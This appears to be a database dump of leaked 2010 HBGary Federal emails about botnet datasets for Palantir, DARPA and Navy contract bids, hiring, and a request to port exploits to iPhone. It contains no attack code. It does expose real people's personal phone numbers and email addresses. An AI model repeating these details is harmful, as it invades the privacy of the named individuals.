February 22, 2010 3:58 PM\r\nTo: Rich Cummings\r\nSubject: Fwd: Datasets\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWe don\'t have anything like this do we?\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nAaron\r\nZollman &lt;azollman@palantirtech.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nFebruary\r\n19, 2010 12:41:40 PM EST\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\nAaron\r\nBarr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nCc:\r\nMatthew\r\nSteckman &lt;msteckman@palantirtech.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nRE: Datasets\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHello Aaron B!\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI met Greg and (I think) Rich and Shaun in Sacramento on Tuesday\r\nto help introduce them to the platform; it was great to learn more about how\r\nyou track and respond to coordinated attacks.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRight now, I&#8217;m trying to model a fast-flux coordinated botnet in\r\nPalantir and show how someone with access to a good amount of passive DNS or\r\nproxy traffic can build a visual picture of the nodes involved in coordination,\r\nand how control and activity transfer over time.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRather than try and mock up a dataset from scratch, do you guys\r\nhave some historical logs to share, say from a few days of Storm, that might\r\nmake for a more believable or accurate model?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks &#8211;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp; Aaron Z.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantirtech.com&nbsp;| 202-684-8066\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Matthew Steckman&nbsp;\r\nSent:&nbsp;Friday, February 19,\r\n2010 6:31 AM\r\nTo:&nbsp;Aaron Barr\r\nCc:&nbsp;Aaron Zollman\r\nSubject:&nbsp;Datasets\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nId\r\nlike to introduce you to one of our cyber technical SMEs, Aaron Zollman.&nbsp;\r\nDo you think you could work with him to get us some mock datasets to play\r\naround with in Palantir?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIll\r\nlet him pick up the thread from here, you should see an email from him with a\r\ndescription of what we&#8217;re looking for sometime today.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nMatt\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9087,'aaron_hbgary_com/9087.html'),(2959,'2010-02-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001406.M315903P3547Q2959.eml','\"Aaron Zollman\" <azollman@palantirtech.com>,\"Aaron Zollman\" <azollman@palantirtech.com>','Re: Datasets','Aaron,Sorry for the delay. &nbsp;We don\'t keep network data around turns out, but Rich (CTO) is checking with some other partners to see if we can get some (Fidelis and Netwitness). &nbsp;I will let you know shortly.That said, we kicked off the Threat Intelligence Center work last Friday. &nbsp;As part of this effort we are going to start collecting proxy/network/netflow data.AaronOn Feb 19, 2010, at 12:41 PM, Aaron Zollman wrote:Hello Aaron B!&nbsp;I met Greg and (I think) Rich and Shaun in Sacramento on Tuesday to help introduce them to the platform; it was great to learn more about how you track and respond to coordinated attacks.&nbsp;Right now, I’m trying to model a fast-flux coordinated botnet in Palantir and show how someone with access to a good amount of passive DNS or proxy traffic can build a visual picture of the nodes involved in coordination, and how control and activity transfer over time.&nbsp;Rather than try and mock up a dataset from scratch, do you guys have some historical logs to share, say from a few days of Storm, that might make for a more believable or accurate model?&nbsp;Thanks –&nbsp; Aaron Z.&nbsp;&nbsp;_________________________________________________________Aaron ZollmanPalantir Technologies | Embedded Analystazollman@palantirtech.com&nbsp;| 202-684-8066&nbsp;From:&nbsp;Matthew Steckman&nbsp;Sent:&nbsp;Friday, February 19, 2010 6:31 AMTo:&nbsp;Aaron BarrCc:&nbsp;Aaron ZollmanSubject:&nbsp;Datasets&nbsp;Aaron,&nbsp;Id like to introduce you to one of our cyber technical SMEs, Aaron Zollman.&nbsp; Do you think you could work with him to get us some mock datasets to play around with in Palantir?&nbsp;Ill let him pick up the thread from here, you should see an email from him with a description of what we’re looking for sometime today.&nbsp;Thanks,Matt&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14236,'aaron_hbgary_com/14236.html'),(2960,'2010-02-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001406.M522918P3547Q2960.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: Datasets','Thanks Rich,I passed this along to the Palantir folks.AaronOn Feb 23, 2010, at 6:59 AM, Rich Cummings wrote:I’m going to try and get some from Netwitness cause we don’t have them…&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, February 22, 2010 3:58 PMTo:&nbsp;Rich CummingsSubject:&nbsp;Fwd: Datasets&nbsp;We don\'t have anything like this do we?Aaron&nbsp;Begin forwarded message:From:&nbsp;Aaron Zollman &lt;azollman@palantirtech.com&gt;Date:&nbsp;February 19, 2010 12:41:40 PM ESTTo:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;Cc:&nbsp;Matthew Steckman &lt;msteckman@palantirtech.com&gt;Subject: RE: DatasetsHello Aaron B!&nbsp;I met Greg and (I think) Rich and Shaun in Sacramento on Tuesday to help introduce them to the platform; it was great to learn more about how you track and respond to coordinated attacks.&nbsp;Right now, I’m trying to model a fast-flux coordinated botnet in Palantir and show how someone with access to a good amount of passive DNS or proxy traffic can build a visual picture of the nodes involved in coordination, and how control and activity transfer over time.&nbsp;Rather than try and mock up a dataset from scratch, do you guys have some historical logs to share, say from a few days of Storm, that might make for a more believable or accurate model?&nbsp;Thanks –&nbsp; Aaron Z.&nbsp;&nbsp;_________________________________________________________Aaron ZollmanPalantir Technologies | Embedded Analystazollman@palantirtech.com&nbsp;| 202-684-8066&nbsp;From:&nbsp;Matthew Steckman&nbsp;Sent:&nbsp;Friday, February 19, 2010 6:31 AMTo:&nbsp;Aaron BarrCc:&nbsp;Aaron ZollmanSubject:&nbsp;Datasets&nbsp;Aaron,&nbsp;Id like to introduce you to one of our cyber technical SMEs, Aaron Zollman.&nbsp; Do you think you could work with him to get us some mock datasets to play around with in Palantir?&nbsp;Ill let him pick up the thread from here, you should see an email from him with a description of what we’re looking for sometime today.&nbsp;Thanks,Matt&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8851,'aaron_hbgary_com/8851.html'),(2961,'2010-02-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001406.M707160P3547Q2961.eml','jonathan.k.george@gmail.com,jonathan.k.george@gmail.com','Re: iphone/ipod touch','So if your interested Ted can send you an NDA and the code to take a look and see if its up your alley.Sound good?AaronOn Feb 23, 2010, at 6:25 AM, Jonathan George wrote:I can take a look at it. I can\'t promise anything until I\'ve seen some of the code.On Mon, Feb 22, 2010 at 9:15 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nThanks for response. &nbsp;If your interested we need some exploits portedto that platform. &nbsp;It is about 4-5 months of work. &nbsp;This is existing work we have done for a few years. &nbsp;If your interested in this to get you started with us we can send am nda your way and let you look at the code that needs porting.\r\n\r\nAaronFrom my iPhoneOn Feb 22, 2010, at 6:57 PM, Jonathan George &lt;jonathan.k.george@gmail.com&gt; wrote:\r\n\r\nI wrote one app for the iPhone. Just the virtual Rolex that I showed you. I had a few other ideas but they weren\'t high enough on my list of non-work projects. And my other ideas don\'t involve 30% profit sharing with Apple.\r\n\r\n\r\nOn Mon, Feb 22, 2010 at 4:03 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nJonathan,\r\n\r\nDo you have some iphone/ipod touch development experience.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10904,'aaron_hbgary_com/10904.html'),(2962,'2010-02-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001406.M917716P3547Q2962.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: contact info','Sweet.\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"Rich Cummings\" \r\n> Date: February 23, 2010 6:24:04 AM EST\r\n> To: \"\'Aaron Barr\'\" \r\n> Subject: FW: contact info\r\n> \r\n> Aaron,\r\n>  \r\n> Meet Scott Fitzpatrick a friend of mine who is looking for bigger and better things.  He is currently at Symantec.  Scott would really like to be a part of the SE team at HBGary but I have no slots to fill at the moment.  I mentioned the opportunities at HBGary Federal and he is interested but would eventually like to jump over to work in the sales area (because he can make commission).  I thought there might be a fit.\r\n>  \r\n> Rich\r\n>  \r\n> From: Scott FitzPatrick [mailto:scott_fitzpatrick@symantec.com] \r\n> Sent: Monday, February 22, 2010 8:22 PM\r\n> To: rich@hbgary.com\r\n> Subject: contact info\r\n>  \r\n> Rich,\r\n>  \r\n> Here is my updated resume.  Thanks for any heads up as I’m actively pursuing opportunities outside of Symantec now.  Let me know if you have time to circle up for lunch or a beverage as I’m flexible.  Thanks again,\r\n>  \r\n> Sfitz\r\n>  \r\n>  \r\n> Scott FitzPatrick, CISSP, SCTA\r\n> Chief Technical Strategist\r\n> Symantec Cyber Threat Analysis Program\r\n> Cell 202.669.9987\r\n> Fax 917.591.1208\r\n> scott_fitzpatrick@symantec.com\r\n>  \r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9883,'aaron_hbgary_com/9883.html'),(2963,'2010-02-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001407.M118932P3547Q2963.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: contact info','Thanks Rich,I will reach out to him. &nbsp;As work starts to come through soon he looks like a great candidate for IR and some of our Threat Intelligence Developments.AaronOn Feb 23, 2010, at 6:24 AM, Rich Cummings wrote:Aaron,&nbsp;Meet Scott Fitzpatrick a friend of mine who is looking for bigger and better things.&nbsp; He is currently at Symantec.&nbsp; Scott would really like to be a part of the SE team at HBGary but I have no slots to fill at the moment.&nbsp; I mentioned the opportunities at HBGary Federal and he is interested but would eventually like to jump over to work in the sales area (because he can make commission).&nbsp; I thought there might be a fit.&nbsp;Rich&nbsp;From:&nbsp;Scott FitzPatrick [mailto:scott_fitzpatrick@symantec.com]&nbsp;Sent:&nbsp;Monday, February 22, 2010 8:22 PMTo:&nbsp;rich@hbgary.comSubject:&nbsp;contact info&nbsp;Rich,&nbsp;Here is my updated resume. &nbsp;Thanks for any heads up as I’m actively pursuing opportunities outside of Symantec now.&nbsp; Let me know if you have time to circle up for lunch or a beverage as I’m flexible.&nbsp; Thanks again,&nbsp;Sfitz&nbsp;&nbsp;Scott FitzPatrick,&nbsp;CISSP, SCTAChief Technical StrategistSymantec Cyber Threat Analysis ProgramCell 202.669.9987Fax 917.591.1208scott_fitzpatrick@symantec.com&nbsp;&nbsp;&lt;sfitzresumeFeb10.docx&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3628,'aaron_hbgary_com/3628.html'),(2964,'2010-02-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001407.M374069P3547Q2964.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: DARPA BAA','I am at Palantir all day for Analyst Training, I got some time later in the afternoon if your available.  Would definitely like to get together sometime soon to chat.\r\n\r\nAaron\r\n\r\nOn Feb 23, 2010, at 6:18 AM, Rich Cummings wrote:\r\n\r\n> I think this is the right thing to do.  FYI, you must have been tired when\r\n> you wrote this.. ;) your 2nd to last sentence says \"it would not make sense\r\n> to partner with NG Xetron given our TIC work and their technology.  I think\r\n> you meant it wouldn\'t make sense to partner with GD on this... \r\n> \r\n> Can you do an early lunch? Say 11 or 1130?\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, February 22, 2010 11:58 PM\r\n> To: Penny Leavy; Greg Hoglund; Rich Cummings; Bob Slapnik\r\n> Subject: DARPA BAA\r\n> \r\n> Guys,\r\n> \r\n> Just wanted to let you know of our decision and take any comments.  Ted and\r\n> I have been discussing this for a few hours and have come to a decision.  We\r\n> are going to Prime Tech Area 3 with subs (Secure Decisions, HBGary,\r\n> Pikeworks, and maybe CMU).  We are going to plan to sub on Tech area 1 to\r\n> Northrop Grumman Xetron.  I am going to talk with GD tomorrow and explain\r\n> our decision as best I can and the reasons for not continuing to pursue this\r\n> effort with them.  I believe this will come with significant dissapointment.\r\n> \r\n> GD has brought nothing to the table for this particular effort.  Northrop\r\n> not only has the Information Geometry technology but we are working with\r\n> them under their R&D to develop the threat intelligence effort which will\r\n> fold well into Tech Area 1.  It would not make sense to team with NG Xetron\r\n> given our TIC work and their technology.  I have asked to either meet or\r\n> talk with Chris Starr one on one tomorrow.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13261,'aaron_hbgary_com/13261.html'),(2965,'2010-02-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001407.M579799P3547Q2965.eml','\"Bob Slapnik\" <bob@hbgary.com>','Grama Tech?','Can you send me the name of that company.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5839,'aaron_hbgary_com/5839.html'),(2966,'2010-02-23','\"Logel, Moira\" <Moira.Logel@macb.com>','/aaron@hbgary.com/new/1297001407.M774204P3547Q2966.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE:','Thank you.\r\n\r\nMoira Logel\r\nSr. Contracts Administrator\r\nMacAulay-Brown, Inc.\r\nPhone:  (937) 426-3421\r\nFax:  (937) 426-5364\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Monday, February 22, 2010 6:46 PM\r\nTo: Logel, Moira\r\nCc: Barr Aaron\r\nSubject: Re:\r\n\r\nMoira,\r\n\r\nAttached is the Guardian Program quote as requested, along with the annual supplier certification form.  Please do not hesitate to contact me if you have any questions.\r\n\r\nRegards,\r\nTed Vera\r\nOffice:  916-459-4727 ext 118\r\nCell:  719-237-8623\r\nted@hbgary.com\r\n\r\n\r\n\r\n\r\nOn Thu, Feb 18, 2010 at 8:15 AM, Logel, Moira  wrote:\r\n> Good morning, Ted.\r\n>\r\n>\r\n>\r\n> Please see the attached RFP for Guardian.  Feel free to contact me \r\n> with any questions you may have.\r\n>\r\n>\r\n>\r\n> Thank you.\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Moira Logel\r\n>\r\n> Sr. Contracts Administrator\r\n>\r\n> MacAulay-Brown, Inc.\r\n>\r\n> Phone:  (937) 426-3421\r\n>\r\n> Fax:  (937) 426-5364\r\n>\r\n>\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',577,'aaron_hbgary_com/577.html'),(2967,'2010-02-23','rich@hbgary.com','/aaron@hbgary.com/new/1297001407.M972574P3547Q2967.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: DARPA BAA','Rgr that...  Good you can teach me how to use palantir!  I leave for sac tomorrow at 6 am.  \n------Original Message------\nFrom: Aaron Barr\nTo: Rich Cummings\nSubject: Re: DARPA BAA\nSent: Feb 23, 2010 7:48 AM\n\nI am at Palantir all day for Analyst Training, I got some time later in the afternoon if your available.  Would definitely like to get together sometime soon to chat.\n\nAaron\n\nOn Feb 23, 2010, at 6:18 AM, Rich Cummings wrote:\n\n> I think this is the right thing to do.  FYI, you must have been tired when\n> you wrote this.. ;) your 2nd to last sentence says \"it would not make sense\n> to partner with NG Xetron given our TIC work and their technology.  I think\n> you meant it wouldn\'t make sense to partner with GD on this... \n> \n> Can you do an early lunch? Say 11 or 1130?\n> \n> \n> \n> \n> \n> -----Original Message-----\n> From: Aaron Barr [mailto:aaron@hbgary.com] \n> Sent: Monday, February 22, 2010 11:58 PM\n> To: Penny Leavy; Greg Hoglund; Rich Cummings; Bob Slapnik\n> Subject: DARPA BAA\n> \n> Guys,\n> \n> Just wanted to let you know of our decision and take any comments.  Ted and\n> I have been discussing this for a few hours and have come to a decision.  We\n> are going to Prime Tech Area 3 with subs (Secure Decisions, HBGary,\n> Pikeworks, and maybe CMU).  We are going to plan to sub on Tech area 1 to\n> Northrop Grumman Xetron.  I am going to talk with GD tomorrow and explain\n> our decision as best I can and the reasons for not continuing to pursue this\n> effort with them.  I believe this will come with significant dissapointment.\n> \n> GD has brought nothing to the table for this particular effort.  Northrop\n> not only has the Information Geometry technology but we are working with\n> them under their R&D to develop the threat intelligence effort which will\n> fold well into Tech Area 1.  It would not make sense to team with NG Xetron\n> given our TIC work and their technology.  I have asked to either meet or\n> talk with Chris Starr one on one tomorrow.\n> \n> Aaron Barr\n> CEO\n> HBGary Federal Inc.\n> \n> \n> \n\nAaron Barr\nCEO\nHBGary Federal Inc.\n\n\n\n\n\r\nSent from my Verizon Wireless BlackBerry',425,'aaron_hbgary_com/425.html'),(2968,'2010-02-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001408.M207470P3547Q2968.eml','rich@hbgary.com','Re: DARPA BAA','Damn.  I would really like to get a laptop from u before u go.  Got\r\nany time this afternoon?\r\n\r\n\r\n\r\n From my iPhone\r\n\r\nOn Feb 23, 2010, at 8:43 AM, \"rich@hbgary.com\"  wrote:\r\n\r\n> Rgr that...  Good you can teach me how to use palantir!  I leave for\r\n> sac tomorrow at 6 am.\r\n> ------Original Message------\r\n> From: Aaron Barr\r\n> To: Rich Cummings\r\n> Subject: Re: DARPA BAA\r\n> Sent: Feb 23, 2010 7:48 AM\r\n>\r\n> I am at Palantir all day for Analyst Training, I got some time later\r\n> in the afternoon if your available.  Would definitely like to get\r\n> together sometime soon to chat.\r\n>\r\n> Aaron\r\n>\r\n> On Feb 23, 2010, at 6:18 AM, Rich Cummings wrote:\r\n>\r\n>> I think this is the right thing to do.  FYI, you must have been\r\n>> tired when\r\n>> you wrote this.. ;) your 2nd to last sentence says \"it would not\r\n>> make sense\r\n>> to partner with NG Xetron given our TIC work and their technology.\r\n>> I think\r\n>> you meant it wouldn\'t make sense to partner with GD on this...\r\n>>\r\n>> Can you do an early lunch? Say 11 or 1130?\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Monday, February 22, 2010 11:58 PM\r\n>> To: Penny Leavy; Greg Hoglund; Rich Cummings; Bob Slapnik\r\n>> Subject: DARPA BAA\r\n>>\r\n>> Guys,\r\n>>\r\n>> Just wanted to let you know of our decision and take any comments.\r\n>> Ted and\r\n>> I have been discussing this for a few hours and have come to a\r\n>> decision.  We\r\n>> are going to Prime Tech Area 3 with subs (Secure Decisions, HBGary,\r\n>> Pikeworks, and maybe CMU).  We are going to plan to sub on Tech\r\n>> area 1 to\r\n>> Northrop Grumman Xetron.  I am going to talk with GD tomorrow and\r\n>> explain\r\n>> our decision as best I can and the reasons for not continuing to\r\n>> pursue this\r\n>> effort with them.  I believe this will come with significant\r\n>> dissapointment.\r\n>>\r\n>> GD has brought nothing to the table for this particular effort.\r\n>> Northrop\r\n>> not only has the Information Geometry technology but we are working\r\n>> with\r\n>> them under their R&D to develop the threat intelligence effort\r\n>> which will\r\n>> fold well into Tech Area 1.  It would not make sense to team with\r\n>> NG Xetron\r\n>> given our TIC work and their technology.  I have asked to either\r\n>> meet or\r\n>> talk with Chris Starr one on one tomorrow.\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Sent from my Verizon Wireless BlackBerry\r\n',11130,'aaron_hbgary_com/11130.html'),(2969,'2010-02-23','\"Nolan Clifford\" <nolan@informationsecuritysolutionsllc.com>','/aaron@hbgary.com/new/1297001408.M407747P3547Q2969.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Matt O\'Flynn\" <matt@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','A very interesting project opportunity with the Navy (ONR)','\r\n\r\n\r\n\r\n\r\nHBGary + Fidelis + \r\nISS - Could be very interesting...\r\n&nbsp;\r\nAlso, there is a \r\ncompany called Promia out of SF that does some of the correlation needed for \r\nthis. I know their CEO well. They developed the technology&nbsp;via SBIR funding \r\nfrom the Navy (earmarked from a pal in congress) and it is currently used on \r\nlive Navy networks...\r\n&nbsp;\r\n\r\nNavy looks to advance cyber defense\r\nFunding for development of algorithms, techniques \r\nand software to bolster defense of Navy networks\r\n\r\n  By Ben \r\n  Bain\r\n  Feb 22, 2010The Office of Naval Research plans to spend \r\nup to $16 million to develop new&nbsp;cyber defense prototypes&nbsp;to ensure \r\ncontinuity of cyber operations during a cyber conflict, according to a recent notice from that organization. \r\nThe project\'s goal is&nbsp;to develop new concepts for protecting the Navy&#8217;s \r\nnetworks, and the desired prototype at the end of it would provide decision \r\nmanagement, intelligent decision aids, data fusion, and correlation and \r\nvisualization capabilities, ONR said in a recent broad agency announcement.\r\nThe office said there&#8217;s a major need for technologies that can identify and \r\nmitigate real-time threats while ensuring continuity of operations. Current \r\nnetwork defense tools are reactive and inflexible and don&#8217;t allow for real-time \r\nresponse, it said.\r\n&#8220;The architecture being sought is intended to provide a comprehensive, \r\nholistic approach to computer network defense and to move away from traditional \r\nconcepts of patch management and computer resource management,&#8221; ONR said.\r\nAccording to the notice, the three main components of the new architecture \r\nare:\r\n\r\n\r\n  Decision support that provides real-time management and control of \r\n  sensors, and an automated response capability, among other \r\n  capabilities.\r\n  Sensors and gateways that would provide enhanced anomaly detection \r\n  capabilities and network awareness.\r\n  Security-enabled protocols to ensure data delivery,reliability and \r\n  provenance and control of network-based security components.\r\n\r\nThe technologies ONR is interested in include:\r\n\r\n\r\n  Algorithms for the detection of malware embedded in binary data files that \r\n  go beyond normal antivirus detection algorithms.\r\n  Algorithms for sensors and gateways that can distinguish between \r\n  legitimate and malicious traffic.\r\n  Algorithms to mine data that support the correlation and fusion of large, \r\n  complex datasets.\r\n  Security-enabled protocols that ensure proper network function during \r\n  cyberattacks.\r\n  Tools to support attribution of network activity to a source.\r\n\r\nThe office said it may award up to five multiple indefinite-delivery, \r\nindefinite-quantity contracts to do the work. The ONR plans on spending $16 \r\nmillion through fiscal 2015 on the work.\r\nONR plans to hold an industry day for the project on Feb. 24; full proposals \r\nfor phase one of the project will be due on May 21.\r\n&nbsp;\r\nCheers,\r\nNolan\r\n&nbsp;\r\nNolan Clifford, CISSP\r\nCEO, Information Security Solutions \r\nLLC\r\nhttp://www.informationsecuritysolutionsllc.com\r\nnolan@informationsecuritysolutionsllc.com\r\nOffice - 703-945-7480\r\nCell - 703-869-7396\r\n&nbsp;\r\n&nbsp;\r\n',8294,'aaron_hbgary_com/8294.html'),(2970,'2010-02-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001408.M621252P3547Q2970.eml','\"<nolan@informationsecuritysolutionsllc.com>\" <nolan@informationsecuritysolutionsllc.com>','Re: A very interesting project opportunity with the Navy (ONR)','Sounds interesting.  Let&#39;s discuss.  I am going to be at the navy day on Wednesday.  Are u going to be there?AaronFrom my iPhoneOn Feb 23, 2010, at 9:06 AM, Nolan Clifford &lt;nolan@informationsecuritysolutionsllc.com&gt; wrote:\r\n\r\n\r\nHBGary + Fidelis + \r\nISS - Could be very interesting...\r\n \r\nAlso, there is a \r\ncompany called Promia out of SF that does some of the correlation needed for \r\nthis. I know their CEO well. They developed the technology via SBIR funding \r\nfrom the Navy (earmarked from a pal in congress) and it is currently used on \r\nlive Navy networks...\r\n \r\n\r\nNavy looks to advance cyber defense\r\nFunding for development of algorithms, techniques \r\nand software to bolster defense of Navy networks\r\n\r\n  By Ben \r\n  Bain\r\n  Feb 22, 2010The Office of Naval Research plans to spend \r\nup to $16 million to develop new cyber defense prototypes to ensure \r\ncontinuity of cyber operations during a cyber conflict, according to a recent notice from that organization. \r\nThe project&#39;s goal is to develop new concepts for protecting the Navy’s \r\nnetworks, and the desired prototype at the end of it would provide decision \r\nmanagement, intelligent decision aids, data fusion, and correlation and \r\nvisualization capabilities, ONR said in a recent broad agency announcement.\r\nThe office said there’s a major need for technologies that can identify and \r\nmitigate real-time threats while ensuring continuity of operations. Current \r\nnetwork defense tools are reactive and inflexible and don’t allow for real-time \r\nresponse, it said.\r\n“The architecture being sought is intended to provide a comprehensive, \r\nholistic approach to computer network defense and to move away from traditional \r\nconcepts of patch management and computer resource management,” ONR said.\r\nAccording to the notice, the three main components of the new architecture \r\nare:\r\n\r\n\r\n  Decision support that provides real-time management and control of \r\n  sensors, and an automated response capability, among other \r\n  capabilities.\r\n  Sensors and gateways that would provide enhanced anomaly detection \r\n  capabilities and network awareness.\r\n  Security-enabled protocols to ensure data delivery,reliability and \r\n  provenance and control of network-based security components.\r\n\r\nThe technologies ONR is interested in include:\r\n\r\n\r\n  Algorithms for the detection of malware embedded in binary data files that \r\n  go beyond normal antivirus detection algorithms.\r\n  Algorithms for sensors and gateways that can distinguish between \r\n  legitimate and malicious traffic.\r\n  Algorithms to mine data that support the correlation and fusion of large, \r\n  complex datasets.\r\n  Security-enabled protocols that ensure proper network function during \r\n  cyberattacks.\r\n  Tools to support attribution of network activity to a source.\r\n\r\nThe office said it may award up to five multiple indefinite-delivery, \r\nindefinite-quantity contracts to do the work. The ONR plans on spending $16 \r\nmillion through fiscal 2015 on the work.\r\nONR plans to hold an industry day for the project on Feb. 24; full proposals \r\nfor phase one of the project will be due on May 21.\r\n \r\nCheers,\r\nNolan\r\n \r\nNolan Clifford, CISSP\r\nCEO, Information Security Solutions \r\nLLC\r\nhttp://www.informationsecuritysolutionsllc.com\r\n\r\nnolan@informationsecuritysolutionsllc.com\r\n\r\nOffice - 703-945-7480\r\nCell - 703-869-7396\r\n \r\n \r\n\r\n',12383,'aaron_hbgary_com/12383.html'),(2971,'2010-02-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001408.M879873P3547Q2971.eml','\"David Etue\" <david.etue@fidelissecurity.com>','ONR CND RFP','Dave,\r\n\r\nAre u guys tracking this?  I think this is a good opp for us.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',8384,'aaron_hbgary_com/8384.html'),(2972,'2010-02-23','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001409.M189264P3547Q2972.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','RE: DARPA BAA','I went into the conversations with GD full of optimism.  However, the only\r\nthing they bring to the table is their contracts with DC3.  Van Putte\r\nmentioned DC3 as a potential law enforcement user of some of this new work.\r\nBut when we look at GD for ideas and technology, they came up with nothing.\r\n\r\nWe\'ve 